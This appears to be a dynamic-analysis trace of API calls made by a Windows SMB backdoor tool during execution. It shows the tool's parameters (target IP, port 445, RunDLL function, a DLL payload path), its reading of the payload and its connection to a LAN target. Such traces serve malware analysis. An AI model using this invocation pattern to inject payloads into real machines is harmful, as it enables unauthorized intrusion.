0xfa1790 [0120.253] malloc (_Size=0x1e) returned 0xfab228 [0120.253] calloc (_Count=0x1, _Size=0x20) returned 0xfab250 [0120.253] strlen (_Str="Uninstall") returned 0x9 [0120.253] calloc (_Count=0xa, _Size=0x1) returned 0xfa1808 [0120.253] _mbscpy (in: param_1=0xfa1808, param_2=0xfa1790 | out: param_1=0xfa1808) returned 0xfa1808 [0120.253] strlen (_Str="Remove's backdoor from system") returned 0x1d [0120.253] calloc (_Count=0x1e, _Size=0x1) returned 0xfab278 [0120.253] _mbscpy (in: param_1=0xfab278, param_2=0xfab228 | out: param_1=0xfab278) returned 0xfab278 [0120.254] strlen (_Str="urn:trch") returned 0x8 [0120.254] calloc (_Count=0x9, _Size=0x1) returned 0xfa1820 [0120.254] _mbscpy (in: param_1=0xfa1820, param_2=0x10bfb20 | out: param_1=0xfa1820) returned 0xfa1820 [0120.254] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.254] strlen (_Str="2.0.0") returned 0x5 [0120.254] calloc (_Count=0x6, _Size=0x1) returned 0xfa2250 [0120.254] _mbscpy (in: param_1=0xfa2250, param_2=0xfaac08 | out: param_1=0xfa2250) returned 0xfa2250 [0120.254] malloc (_Size=0x4) returned 0xfa2160 [0120.254] malloc (_Size=0x4) returned 0xfa22c0 [0120.254] free (_Block=0xfa1790) [0120.254] free (_Block=0xfab228) [0120.254] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.254] malloc (_Size=0x8) returned 0xfa22d0 [0120.254] malloc (_Size=0x17) returned 0xfa88a0 [0120.254] malloc (_Size=0x4) returned 0xfa22e0 [0120.254] calloc (_Count=0x1, _Size=0x48) returned 0xfa26e0 [0120.254] strlen (_Str="Is64Bit") returned 0x7 [0120.254] calloc (_Count=0x8, _Size=0x1) returned 0xfa22f0 [0120.254] _mbscpy (in: param_1=0xfa22f0, param_2=0xfa22d0 | out: param_1=0xfa22f0) returned 0xfa22f0 [0120.254] strlen (_Str="Is target 64 or 32 bit") returned 0x16 [0120.254] calloc (_Count=0x17, _Size=0x1) returned 0xfa8900 [0120.254] _mbscpy (in: param_1=0xfa8900, param_2=0xfa88a0 | out: param_1=0xfa8900) returned 0xfa8900 [0120.254] strlen (_Str="U32") returned 0x3 [0120.254] calloc (_Count=0x4, _Size=0x1) returned 0xfa2300 [0120.254] _mbscpy (in: param_1=0xfa2300, param_2=0xfa22e0 | out: param_1=0xfa2300) returned 0xfa2300 [0120.254] strlen (_Str="Scalar") returned 0x6 [0120.254] calloc (_Count=0x7, _Size=0x1) returned 0xfa2310 [0120.254] _mbscpy (in: param_1=0xfa2310, param_2=0x14c3f8 | out: param_1=0xfa2310) returned 0xfa2310 [0120.254] strlen (_Str="urn:trch") returned 0x8 [0120.254] calloc (_Count=0x9, _Size=0x1) returned 0xfa1790 [0120.254] _mbscpy (in: param_1=0xfa1790, param_2=0x10bfb20 | out: param_1=0xfa1790) returned 0xfa1790 [0120.254] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.254] strlen (_Str="2.0.0") returned 0x5 [0120.254] calloc (_Count=0x6, _Size=0x1) returned 0xfa2320 [0120.254] _mbscpy (in: param_1=0xfa2320, param_2=0xfaac08 | out: param_1=0xfa2320) returned 0xfa2320 [0120.254] realloc (_Block=0xfa2160, _Size=0x8) returned 0xfa22e0 [0120.254] realloc (_Block=0xfa17f0, _Size=0x14) returned 0xfa88a0 [0120.255] realloc (_Block=0xfadae8, _Size=0x8) returned 0xfa2160 [0120.255] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.255] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.255] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.255] free (_Block=0xfaac08) [0120.255] free (_Block=0xfa4b10) [0120.255] free (_Block=0xfa4ac8) [0120.255] free (_Block=0xfa4bd0) [0120.255] free (_Block=0xfa4b88) [0120.255] free (_Block=0x10bfc10) [0120.255] free (_Block=0xfa5230) [0120.255] free (_Block=0xfa4e30) [0120.255] free (_Block=0xfa52c0) [0120.255] free (_Block=0xfa4e20) [0120.255] free (_Block=0xfa5278) [0120.255] free (_Block=0x10bfc28) [0120.255] free (_Block=0xfa5320) [0120.255] free (_Block=0x10bfbe0) [0120.255] free (_Block=0xfa4c90) [0120.255] free (_Block=0xfa4c80) [0120.255] free (_Block=0xfa4c48) [0120.255] free (_Block=0xfa4d58) [0120.255] free (_Block=0xfa4d10) [0120.255] free (_Block=0x10bfbf8) [0120.255] free (_Block=0xfa4cd8) [0120.255] free (_Block=0xfa4e10) [0120.255] free (_Block=0xfa51e8) [0120.255] free (_Block=0xfa4e00) [0120.255] free (_Block=0xfa4db0) [0120.255] free (_Block=0x10bfbc8) [0120.255] free (_Block=0xfa4c00) [0120.255] free (_Block=0x10bfc40) [0120.255] free (_Block=0xfa5368) [0120.255] free (_Block=0x10bfc70) [0120.255] free (_Block=0xfa53f8) [0120.255] free (_Block=0xfa4e40) [0120.255] free (_Block=0xfa6308) [0120.255] free (_Block=0xfa6378) [0120.255] free (_Block=0xfa5440) [0120.255] free (_Block=0xfa4e50) [0120.255] free (_Block=0xfa6340) [0120.255] free (_Block=0xfa63d0) [0120.256] free (_Block=0xfa5488) [0120.256] free (_Block=0x10bfc88) [0120.256] free (_Block=0xfa6398) [0120.256] free (_Block=0xfa4e70) [0120.256] free (_Block=0xfa54d0) [0120.256] free (_Block=0xfa4e60) [0120.256] free (_Block=0xfa63f0) [0120.256] free (_Block=0x10bfc58) [0120.256] free (_Block=0xfa53b0) [0120.256] free (_Block=0x10bfca0) [0120.256] free (_Block=0xfa5518) [0120.256] free (_Block=0x10bfd18) [0120.256] free (_Block=0xfa56c8) [0120.256] free (_Block=0xfa4ed0) [0120.256] free (_Block=0xfa5758) [0120.256] free (_Block=0xfa4ec0) [0120.256] free (_Block=0xfa5710) [0120.256] free (_Block=0x10bfd30) [0120.256] free (_Block=0xfa57a0) [0120.256] free (_Block=0x10bfcd0) [0120.256] free (_Block=0xfa55a8) [0120.256] free (_Block=0xfa4e80) [0120.256] free (_Block=0xfa6428) [0120.256] free (_Block=0x10bfce8) [0120.256] free (_Block=0xfa55f0) [0120.256] free (_Block=0xfa4e90) [0120.256] free (_Block=0xfa6460) [0120.256] free (_Block=0xfa64e8) [0120.256] free (_Block=0xfa5638) [0120.256] free (_Block=0x10bfd00) [0120.256] free (_Block=0xfa6498) [0120.256] free (_Block=0xfa4eb0) [0120.256] free (_Block=0xfa5680) [0120.256] free (_Block=0xfa4ea0) [0120.256] free (_Block=0xfa6520) [0120.256] free (_Block=0x10bfcb8) [0120.256] free (_Block=0xfa5560) [0120.256] free (_Block=0xfa6cd0) [0120.256] free (_Block=0xfa57e8) [0120.256] free (_Block=0x10bfd90) [0120.256] free (_Block=0xfa5950) [0120.256] free (_Block=0xfa4f10) [0120.257] free (_Block=0xfa59e0) [0120.257] free (_Block=0xfa4f00) [0120.257] free (_Block=0xfa5998) [0120.257] free (_Block=0x10bfda8) [0120.257] free (_Block=0xfa5a28) [0120.257] free (_Block=0x10bfdf0) [0120.257] free (_Block=0xfa5b48) [0120.257] free (_Block=0xfa4f30) [0120.257] free (_Block=0xfa5ab8) [0120.257] free (_Block=0xfa4f20) [0120.257] free (_Block=0xfa6600) [0120.257] free (_Block=0xfa6d98) [0120.257] free (_Block=0xfa5b00) [0120.257] free (_Block=0x10bfdd8) [0120.257] free (_Block=0xfa6638) [0120.257] free (_Block=0x10bfdc0) [0120.257] free (_Block=0xfa5a70) [0120.257] free (_Block=0x10bfe08) [0120.257] free (_Block=0xfa5b90) [0120.257] free (_Block=0x10bfe50) [0120.257] free (_Block=0xfa5cb0) [0120.257] free (_Block=0xfa4f50) [0120.257] free (_Block=0xfa5c20) [0120.257] free (_Block=0xfa4f40) [0120.257] free (_Block=0xfa6670) [0120.257] free (_Block=0xfa6dc0) [0120.257] free (_Block=0xfa5c68) [0120.257] free (_Block=0x10bfe38) [0120.257] free (_Block=0xfa66a8) [0120.257] free (_Block=0x10bfe20) [0120.257] free (_Block=0xfa5bd8) [0120.257] free (_Block=0x10bfe68) [0120.257] free (_Block=0xfa5cf8) [0120.257] free (_Block=0x10bfd60) [0120.257] free (_Block=0xfa5878) [0120.257] free (_Block=0xfa4ee0) [0120.257] free (_Block=0xfa6558) [0120.257] free (_Block=0xfa6d20) [0120.257] free (_Block=0xfa58c0) [0120.257] free (_Block=0xfa4ef0) [0120.257] free (_Block=0xfa6590) [0120.258] free (_Block=0xfa6d48) [0120.258] free (_Block=0xfa5908) [0120.258] free (_Block=0x10bfd78) [0120.258] free (_Block=0xfa65c8) [0120.258] free (_Block=0x10bfd48) [0120.258] free (_Block=0xfa5830) [0120.258] free (_Block=0xfa6de8) [0120.258] free (_Block=0xfa5d40) [0120.258] free (_Block=0x10bfec8) [0120.258] free (_Block=0xfa5ea8) [0120.258] free (_Block=0xfa4f90) [0120.258] free (_Block=0xfa5f38) [0120.258] free (_Block=0xfa4f80) [0120.258] free (_Block=0xfa5ef0) [0120.258] free (_Block=0xfa6e80) [0120.258] free (_Block=0xfa5f80) [0120.258] free (_Block=0xfa6ee0) [0120.258] free (_Block=0xfa60a0) [0120.258] free (_Block=0xfa4fb0) [0120.258] free (_Block=0xfa6010) [0120.258] free (_Block=0xfa4fa0) [0120.258] free (_Block=0xfa6788) [0120.258] free (_Block=0xfa6ec8) [0120.258] free (_Block=0xfa6058) [0120.258] free (_Block=0xfa6eb0) [0120.258] free (_Block=0xfa67c0) [0120.258] free (_Block=0xfa6e98) [0120.258] free (_Block=0xfa5fc8) [0120.258] free (_Block=0xfa6ef8) [0120.258] free (_Block=0xfa60e8) [0120.258] free (_Block=0xfa6f58) [0120.258] free (_Block=0xfa6208) [0120.258] free (_Block=0xfa4fd0) [0120.258] free (_Block=0xfa6178) [0120.258] free (_Block=0xfa4fc0) [0120.258] free (_Block=0xfa67f8) [0120.258] free (_Block=0xfa6f40) [0120.258] free (_Block=0xfa61c0) [0120.258] free (_Block=0xfa6f28) [0120.258] free (_Block=0xfa6830) [0120.259] free (_Block=0xfa6f10) [0120.259] free (_Block=0xfa6130) [0120.259] free (_Block=0xfa6f70) [0120.259] free (_Block=0xfa6250) [0120.259] free (_Block=0x10bfe98) [0120.259] free (_Block=0xfa5dd0) [0120.259] free (_Block=0xfa4f60) [0120.259] free (_Block=0xfa66e0) [0120.259] free (_Block=0xfa6e18) [0120.259] free (_Block=0xfa5e18) [0120.259] free (_Block=0xfa4f70) [0120.259] free (_Block=0xfa6718) [0120.259] free (_Block=0xfa6e40) [0120.259] free (_Block=0xfa5e60) [0120.259] free (_Block=0x10bfeb0) [0120.259] free (_Block=0xfa6750) [0120.259] free (_Block=0x10bfe80) [0120.259] free (_Block=0xfa5d88) [0120.259] free (_Block=0xfa6f88) [0120.259] free (_Block=0xfa6298) [0120.259] free (_Block=0xfa6fe8) [0120.259] free (_Block=0xfa73a0) [0120.259] free (_Block=0xfa7000) [0120.259] free (_Block=0xfa7430) [0120.259] free (_Block=0xfa5000) [0120.259] free (_Block=0xfa73e8) [0120.259] free (_Block=0xfa7018) [0120.259] free (_Block=0xfa7478) [0120.259] free (_Block=0xfa82c0) [0120.259] free (_Block=0xfa75e0) [0120.259] free (_Block=0xfa7090) [0120.259] free (_Block=0xfa7670) [0120.259] free (_Block=0xfa5020) [0120.259] free (_Block=0xfa6980) [0120.259] free (_Block=0xfa82e0) [0120.259] free (_Block=0xfa76b8) [0120.259] free (_Block=0xfa70a8) [0120.259] free (_Block=0xfa69b8) [0120.259] free (_Block=0xfa5040) [0120.259] free (_Block=0xfa7700) [0120.259] free (_Block=0xfa5030) [0120.259] free (_Block=0xfa69f0) [0120.260] free (_Block=0xfa7078) [0120.260] free (_Block=0xfa7628) [0120.260] free (_Block=0xfa70c0) [0120.260] free (_Block=0xfa7748) [0120.260] free (_Block=0xfa7048) [0120.260] free (_Block=0xfa7508) [0120.260] free (_Block=0xfa5010) [0120.260] free (_Block=0xfa6910) [0120.260] free (_Block=0xfa7598) [0120.260] free (_Block=0xfa7550) [0120.260] free (_Block=0xfa7060) [0120.260] free (_Block=0xfa6948) [0120.260] free (_Block=0xfa7030) [0120.260] free (_Block=0xfa74c0) [0120.260] free (_Block=0xfa70d8) [0120.260] free (_Block=0xfa7790) [0120.260] free (_Block=0xfa7120) [0120.260] free (_Block=0xfa78b0) [0120.260] free (_Block=0xfa5060) [0120.260] free (_Block=0xfa7820) [0120.260] free (_Block=0xfa5050) [0120.260] free (_Block=0xfa6a28) [0120.260] free (_Block=0xfa8308) [0120.260] free (_Block=0xfa7868) [0120.260] free (_Block=0xfa7108) [0120.260] free (_Block=0xfa6a60) [0120.260] free (_Block=0xfa70f0) [0120.260] free (_Block=0xfa77d8) [0120.260] free (_Block=0xfa8330) [0120.260] free (_Block=0xfa78f8) [0120.260] free (_Block=0xfa83b0) [0120.260] free (_Block=0xfa7a18) [0120.260] free (_Block=0xfa7180) [0120.260] free (_Block=0xfa7aa8) [0120.260] free (_Block=0xfa5090) [0120.260] free (_Block=0xfa6b08) [0120.260] free (_Block=0xfa83d0) [0120.260] free (_Block=0xfa7af0) [0120.260] free (_Block=0xfa50a0) [0120.260] free (_Block=0xfa6b40) [0120.260] free (_Block=0xfa83f8) [0120.260] free (_Block=0xfa7b38) [0120.260] free (_Block=0xfa7198) [0120.260] free (_Block=0xfa6b78) [0120.261] free (_Block=0xfa71b0) [0120.261] free (_Block=0xfa7b80) [0120.261] strlen (_Str="LogFile") returned 0x7 [0120.261] calloc (_Count=0x8, _Size=0x1) returned 0xfaabd8 [0120.261] _mbscpy (in: param_1=0xfaabd8, param_2=0x33244 | out: param_1=0xfaabd8) returned 0xfaabd8 [0120.261] strlen (_Str="Where to write log file") returned 0x17 [0120.261] calloc (_Count=0x18, _Size=0x1) returned 0xfa87c0 [0120.261] _mbscpy (in: param_1=0xfa87c0, param_2=0x332a8 | out: param_1=0xfa87c0) returned 0xfa87c0 [0120.261] strlen (_Str="String") returned 0x6 [0120.261] calloc (_Count=0x7, _Size=0x1) returned 0xfaabc8 [0120.261] _mbscpy (in: param_1=0xfaabc8, param_2=0x14c418 | out: param_1=0xfaabc8) returned 0xfaabc8 [0120.261] strlen (_Str="Scalar") returned 0x6 [0120.261] calloc (_Count=0x7, _Size=0x1) returned 0xfaab98 [0120.261] _mbscpy (in: param_1=0xfaab98, param_2=0x14c3f8 | out: param_1=0xfaab98) returned 0xfaab98 [0120.261] strlen (_Str="urn:trch") returned 0x8 [0120.261] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb20 [0120.261] _mbscpy (in: param_1=0x10bfb20, param_2=0xfad1b0 | out: param_1=0x10bfb20) returned 0x10bfb20 [0120.261] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.261] strlen (_Str="2.0.0") returned 0x5 [0120.261] calloc (_Count=0x6, _Size=0x1) returned 0xfaabb8 [0120.261] _mbscpy (in: param_1=0xfaabb8, param_2=0xfaac38 | out: param_1=0xfaabb8) returned 0xfaabb8 [0120.261] realloc (_Block=0xfad288, _Size=0x14) returned 0xfa8620 [0120.261] calloc (_Count=0x1, _Size=0x48) returned 0xfa2780 [0120.261] strlen (_Str="OutConfig") returned 0x9 [0120.261] calloc (_Count=0xa, _Size=0x1) returned 0xfad288 [0120.261] _mbscpy (in: param_1=0xfad288, param_2=0x33238 | out: param_1=0xfad288) returned 0xfad288 [0120.261] strlen (_Str="Where to write output parameters file") returned 0x25 [0120.261] calloc (_Count=0x26, _Size=0x1) returned 0xfa1980 [0120.261] _mbscpy (in: param_1=0xfa1980, param_2=0x33280 | out: param_1=0xfa1980) returned 0xfa1980 [0120.261] strlen (_Str="String") returned 0x6 [0120.261] calloc (_Count=0x7, _Size=0x1) returned 0xfaaba8 [0120.261] _mbscpy (in: param_1=0xfaaba8, param_2=0x14c418 | out: param_1=0xfaaba8) returned 0xfaaba8 [0120.261] strlen (_Str="Scalar") returned 0x6 [0120.261] calloc (_Count=0x7, _Size=0x1) returned 0xfaab88 [0120.261] _mbscpy (in: param_1=0xfaab88, param_2=0x14c3f8 | out: param_1=0xfaab88) returned 0xfaab88 [0120.261] strlen (_Str="urn:trch") returned 0x8 [0120.261] calloc (_Count=0x9, _Size=0x1) returned 0xfad0a8 [0120.261] _mbscpy (in: param_1=0xfad0a8, param_2=0xfad1b0 | out: param_1=0xfad0a8) returned 0xfad0a8 [0120.261] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.262] strlen (_Str="2.0.0") returned 0x5 [0120.262] calloc (_Count=0x6, _Size=0x1) returned 0xfaab78 [0120.262] _mbscpy (in: param_1=0xfaab78, param_2=0xfaac38 | out: param_1=0xfaab78) returned 0xfaab78 [0120.262] strlen (_Str="stdout") returned 0x6 [0120.262] calloc (_Count=0x7, _Size=0x1) returned 0xfaa9b8 [0120.262] _mbscpy (in: param_1=0xfaa9b8, param_2=0x1e30d8 | out: param_1=0xfaa9b8) returned 0xfaa9b8 [0120.262] strlen (_Str="stdout") returned 0x6 [0120.262] calloc (_Count=0x7, _Size=0x1) returned 0xfaa9a8 [0120.262] _mbscpy (in: param_1=0xfaa9a8, param_2=0x1e30d8 | out: param_1=0xfaa9a8) returned 0xfaa9a8 [0120.262] strlen (_Str="stdout") returned 0x6 [0120.262] free (_Block=0x0) [0120.262] realloc (_Block=0xfa8620, _Size=0x18) returned 0xfa87a0 [0120.262] strlen (_Str="ValidateOnly") returned 0xc [0120.262] calloc (_Count=0xd, _Size=0x1) returned 0xfad198 [0120.262] _mbscpy (in: param_1=0xfad198, param_2=0x33228 | out: param_1=0xfad198) returned 0xfad198 [0120.262] strlen (_Str="Stop execution after parameter validation") returned 0x29 [0120.262] calloc (_Count=0x2a, _Size=0x1) returned 0xfacb50 [0120.262] _mbscpy (in: param_1=0xfacb50, param_2=0x3324c | out: param_1=0xfacb50) returned 0xfacb50 [0120.262] strlen (_Str="Boolean") returned 0x7 [0120.262] calloc (_Count=0x8, _Size=0x1) returned 0xfaab18 [0120.262] _mbscpy (in: param_1=0xfaab18, param_2=0x14c148 | out: param_1=0xfaab18) returned 0xfaab18 [0120.262] strlen (_Str="Scalar") returned 0x6 [0120.262] calloc (_Count=0x7, _Size=0x1) returned 0xfaab58 [0120.262] _mbscpy (in: param_1=0xfaab58, param_2=0x14c3f8 | out: param_1=0xfaab58) returned 0xfaab58 [0120.262] strlen (_Str="urn:trch") returned 0x8 [0120.262] calloc (_Count=0x9, _Size=0x1) returned 0xfad150 [0120.262] _mbscpy (in: param_1=0xfad150, param_2=0xfad1b0 | out: param_1=0xfad150) returned 0xfad150 [0120.262] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.262] strlen (_Str="2.0.0") returned 0x5 [0120.262] calloc (_Count=0x6, _Size=0x1) returned 0xfaab68 [0120.262] _mbscpy (in: param_1=0xfaab68, param_2=0xfaac38 | out: param_1=0xfaab68) returned 0xfaab68 [0120.262] strlen (_Str="false") returned 0x5 [0120.262] calloc (_Count=0x6, _Size=0x1) returned 0xfaab48 [0120.262] _mbscpy (in: param_1=0xfaab48, param_2=0x33278 | out: param_1=0xfaab48) returned 0xfaab48 [0120.262] strcmp (_Str1="false", _Str2="0") returned 1 [0120.262] realloc (_Block=0xfa87a0, _Size=0x1c) returned 0xfaae18 [0120.262] strcmp (_Str1="--OutConfig", _Str2="--") returned 1 [0120.263] strlen (_Str="--OutConfig") returned 0xb [0120.263] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.263] strlen (_Str="--OutConfig") returned 0xb [0120.263] strcmp (_Str1="a", _Str2="--") returned 1 [0120.263] strlen (_Str="a") returned 0x1 [0120.263] strcmp (_Str1="--TargetPort", _Str2="--") returned 1 [0120.263] strlen (_Str="--TargetPort") returned 0xc [0120.263] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.263] strlen (_Str="--TargetPort") returned 0xc [0120.263] strcmp (_Str1="445", _Str2="--") returned 1 [0120.263] strlen (_Str="445") returned 0x3 [0120.263] strcmp (_Str1="--Protocol", _Str2="--") returned 1 [0120.263] strlen (_Str="--Protocol") returned 0xa [0120.263] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.263] strlen (_Str="--Protocol") returned 0xa [0120.263] strlen (_Str="SMB") returned 0x3 [0120.263] calloc (_Count=0x4, _Size=0x1) returned 0xfaab28 [0120.263] _mbscpy (in: param_1=0xfaab28, param_2=0x10bf7ab | out: param_1=0xfaab28) returned 0xfaab28 [0120.263] free (_Block=0xfaad08) [0120.263] strcmp (_Str1="--Architecture", _Str2="--") returned 1 [0120.263] strlen (_Str="--Architecture") returned 0xe [0120.263] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.263] strlen (_Str="--Architecture") returned 0xe [0120.263] strlen (_Str="x64") returned 0x3 [0120.263] calloc (_Count=0x4, _Size=0x1) returned 0xfaad08 [0120.263] _mbscpy (in: param_1=0xfaad08, param_2=0x10bf7be | out: param_1=0xfaad08) returned 0xfaad08 [0120.263] free (_Block=0xfad758) [0120.263] strcmp (_Str1="--Function", _Str2="--") returned 1 [0120.263] strlen (_Str="--Function") returned 0xa [0120.263] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.263] strlen (_Str="--Function") returned 0xa [0120.263] strlen (_Str="RunDLL") returned 0x6 [0120.263] calloc (_Count=0x7, _Size=0x1) returned 0xfad758 [0120.263] _mbscpy (in: param_1=0xfad758, param_2=0x10bf7cd | out: param_1=0xfad758) returned 0xfad758 [0120.264] free (_Block=0xfad4a8) [0120.264] strcmp (_Str1="--DllPayload", _Str2="--") returned 1 [0120.264] strlen (_Str="--DllPayload") returned 0xc [0120.264] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.264] strlen (_Str="--DllPayload") returned 0xc [0120.264] strcmp (_Str1="C:\\ProgramData\\down64.dll", _Str2="--") returned 1 [0120.264] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0120.264] strncmp (_Str1="C:", _Str2="--", _MaxCount=0x2) returned 22 [0120.264] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0120.264] strlen (_Str="--TargetIp") returned 0xa [0120.264] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.264] strlen (_Str="--TargetIp") returned 0xa [0120.264] strcmp (_Str1="192.168.0.171", _Str2="--") returned 1 [0120.264] strlen (_Str="192.168.0.171") returned 0xd [0120.264] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4 [0120.264] strcmp (_Str1="--OutConfig", _Str2="--") returned 1 [0120.264] strlen (_Str="--OutConfig") returned 0xb [0120.264] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.264] strcmp (_Str1="--OutConfig", _Str2="-?") returned -1 [0120.264] strlen (_Str="--OutConfig") returned 0xb [0120.264] strlen (_Str="a") returned 0x1 [0120.264] calloc (_Count=0x2, _Size=0x1) returned 0xfadae8 [0120.264] _mbscpy (in: param_1=0xfadae8, param_2=0x10bf78d | out: param_1=0xfadae8) returned 0xfadae8 [0120.264] strlen (_Str="a") returned 0x1 [0120.264] free (_Block=0xfaa9a8) [0120.264] strcmp (_Str1="--TargetPort", _Str2="--") returned 1 [0120.264] strlen (_Str="--TargetPort") returned 0xc [0120.264] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.264] strcmp (_Str1="--TargetPort", _Str2="-?") returned -1 [0120.264] strlen (_Str="--TargetPort") returned 0xc [0120.264] strcmp (_Str1="--DllPayload", _Str2="--") returned 1 [0120.264] strlen (_Str="--DllPayload") returned 0xc [0120.264] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.265] strcmp (_Str1="--DllPayload", _Str2="-?") returned -1 [0120.265] strlen (_Str="--DllPayload") returned 0xc [0120.265] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0120.265] calloc (_Count=0x1a, _Size=0x1) returned 0xfaae68 [0120.265] _mbscpy (in: param_1=0xfaae68, param_2=0x10bf7e1 | out: param_1=0xfaae68) returned 0xfaae68 [0120.265] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0120.265] free (_Block=0x0) [0120.265] _access (_FileName="C:\\ProgramData\\down64.dll", _AccessMode=0) returned 0 [0120.265] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0120.265] strlen (_Str="--TargetIp") returned 0xa [0120.265] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0120.265] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1 [0120.266] strlen (_Str="--TargetIp") returned 0xa [0120.266] strlen (_Str="192.168.0.171") returned 0xd [0120.266] calloc (_Count=0xe, _Size=0x1) returned 0xfad4a8 [0120.266] _mbscpy (in: param_1=0xfad4a8, param_2=0x10bf806 | out: param_1=0xfad4a8) returned 0xfad4a8 [0120.266] strlen (_Str="192.168.0.171") returned 0xd [0120.266] free (_Block=0x0) [0120.266] strlen (_Str="a") returned 0x1 [0120.266] calloc (_Count=0x2, _Size=0x1) returned 0xfaa9a8 [0120.266] strcmp (_Str1="a", _Str2="stdout") returned -1 [0120.266] _open (_FileName="a" (normalized: "c:\\programdata\\a"), _OpenFlag=33537) returned 3 [0120.267] inet_addr (cp="192.168.0.171") returned 0xab00a8c0 [0120.267] fopen (_Filename="C:\\ProgramData\\down64.dll" (normalized: "c:\\programdata\\down64.dll"), _Mode="rb") returned 0x76be2960 [0120.267] fseek (in: _File=0x76be2960, _Offset=0, _Origin=2 | out: _File=0x76be2960) returned 0 [0120.267] ftell (in: _File=0x76be2960 | out: _File=0x76be2960) returned 5120 [0120.267] fseek (in: _File=0x76be2960, _Offset=0, _Origin=0 | out: _File=0x76be2960) returned 0 [0120.267] calloc (_Count=0x1400, _Size=0x1) returned 0xfa0048 [0120.267] fread (in: _DstBuf=0xfa0048, _ElementSize=0x1, _Count=0x1400, _File=0x76be2960 | out: _DstBuf=0xfa0048*, _File=0x76be2960) returned 0x1400 [0120.268] fclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0120.268] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdafc68 | out: lpWSAData=0xdafc68) returned 0 [0120.268] _vsnprintf (in: _DstBuf=0xdaf9f0, _MaxCount=0x3ff, _Format="[+] Selected Protocol %s\n", _ArgList=0xdafdfc | out: _DstBuf="[+] Selected Protocol SMB\n") returned 26 [0120.268] vfprintf (in: _File=0x76be2920, _Format="[+] Selected Protocol SMB\n", _ArgList=0xdaf9d4 | out: _File=0x76be2920) returned 26 [0120.269] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.269] _vsnprintf (in: _DstBuf=0xdaf9f4, _MaxCount=0x3ff, _Format="[.] Connecting to target...\n", _ArgList=0xdafe00 | out: _DstBuf="[.] Connecting to target...\n") returned 28 [0120.269] vfprintf (in: _File=0x76be2920, _Format="[.] Connecting to target...\n", _ArgList=0xdaf9d8 | out: _File=0x76be2920) returned 28 [0120.270] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.270] malloc (_Size=0x1090) returned 0xfadef0 [0120.270] htons (hostshort=0x1122) returned 0x2211 [0120.270] malloc (_Size=0x2000) returned 0xfaef88 [0120.270] rand () returned 41 [0120.270] rand () returned 18467 [0120.270] rand () returned 6334 [0120.270] rand () returned 26500 [0120.270] malloc (_Size=0x18) returned 0xfa8620 [0120.271] realloc (_Block=0x0, _Size=0x6) returned 0xfaab38 [0120.271] realloc (_Block=0x0, _Size=0xa) returned 0x10bfb68 [0120.271] rand () returned 19169 [0120.271] rand () returned 15724 [0120.271] rand () returned 11478 [0120.271] rand () returned 29358 [0120.271] rand () returned 26962 [0120.271] rand () returned 24464 [0120.271] rand () returned 5705 [0120.271] rand () returned 28145 [0120.271] rand () returned 23281 [0120.271] rand () returned 16827 [0120.271] rand () returned 9961 [0120.271] rand () returned 491 [0120.271] rand () returned 2995 [0120.271] rand () returned 11942 [0120.271] rand () returned 4827 [0120.271] rand () returned 5436 [0120.271] rand () returned 32391 [0120.271] rand () returned 14604 [0120.271] rand () returned 3902 [0120.271] rand () returned 153 [0120.271] strlen (_Str="LANMAN") returned 0x6 [0120.271] realloc (_Block=0x0, _Size=0x7) returned 0xfaaaa8 [0120.271] strlen (_Str="IPC$") returned 0x4 [0120.271] realloc (_Block=0x0, _Size=0x5) returned 0xfaaab8 [0120.271] malloc (_Size=0x2000) returned 0xfb0f90 [0120.271] malloc (_Size=0x2000) returned 0xfb2f98 [0120.272] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c81b6 [0120.272] strlen (_Str="Windows 2000 2195") returned 0x11 [0120.272] realloc (_Block=0x0, _Size=0x12) returned 0xfa8780 [0120.272] strlen (_Str="Windows 2000 5.0") returned 0x10 [0120.272] realloc (_Block=0x0, _Size=0x11) returned 0xfa8760 [0120.272] htons (hostshort=0x1bd) returned 0xbd01 [0120.272] socket (af=2, type=1, protocol=6) returned 0x80 [0120.276] setsockopt (s=0x80, level=65535, optname=128, optval="", optlen=4) returned 0 [0120.276] connect (s=0x80, name=0xfadf10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0120.276] malloc (_Size=0x2000) returned 0xfb4fa0 [0120.277] strlen (_Str="LANMAN") returned 0x6 [0120.277] strlen (_Str="LANMAN") returned 0x6 [0120.277] strlen (_Str="LANMAN") returned 0x6 [0120.277] strlen (_Str="LANMAN") returned 0x6 [0120.277] strlen (_Str="LANMAN") returned 0x6 